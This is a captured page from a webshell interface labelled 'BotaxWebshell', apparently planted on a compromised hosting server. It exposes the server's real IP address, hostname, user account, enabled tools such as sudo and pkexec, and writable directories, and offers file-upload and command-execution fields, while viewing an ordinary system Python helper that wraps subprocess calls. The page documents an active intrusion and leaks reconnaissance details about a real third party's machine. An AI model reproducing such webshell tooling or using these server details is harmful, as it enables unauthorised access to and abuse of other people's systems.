BotaxWebshell
Server IP : 68.178.172.28  /  Your IP : 216.73.216.32
Web Server : Apache
System : Linux 28.172.178.68.host.secureserver.net 4.18.0-553.89.1.el8_10.x86_64 #1 SMP Mon Dec 8 03:53:08 EST 2025 x86_64
User : kiskarnal ( 1003)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : ON |  Pkexec : ON
Directory :  /usr/share/lve/modlscapi/user/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/share/lve/modlscapi/user/exec_command.py
#%copyright%

import os
import subprocess


def first_quot(line, isquotf):
    if line[0] == "\"" and isquotf == 0:
        return 1
    return 0


def last_quot(line, isquotf):
    if line[len(line) - 1] == '\"' and isquotf == 1:
        return 1
    return 0


def parse_command(command):
    command = command.split(" ")
    isquot = 0
    res = ""
    result = []
    for i in range(len(command)):
        if command[i] != "":
            if first_quot(command[i], isquot) == 1:
                isquot = 1
                res = command[i]
                continue
            if last_quot(command[i], isquot) == 1:
                isquot = 0
                res += " " + command[i]
                result.append(res)
                continue
            result.append(command[i])
    print(result)


def exec_command(command):
    result = []
    try:
        p = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        while 1:
            output = p.stdout.readline()
            if not output:
                break
            if output.strip() != "":
                result.append(output.decode().strip())
    except Exception as inst:
        print("Call process error: " + str(inst))
    return result


def exec_command_out(command):
    """
    Run command via os.system and return its exit status

    :param command: Command to execute in a subshell
    :return: Exit status of the command process
    """
    return os.system(command)


def exec_command_find_substring(command, substring):
    result = exec_command(command)
    for i in result:
        if substring in i:
            return i
    return -1

Youez - 2016 - github.com/yon3zu
LinuXploit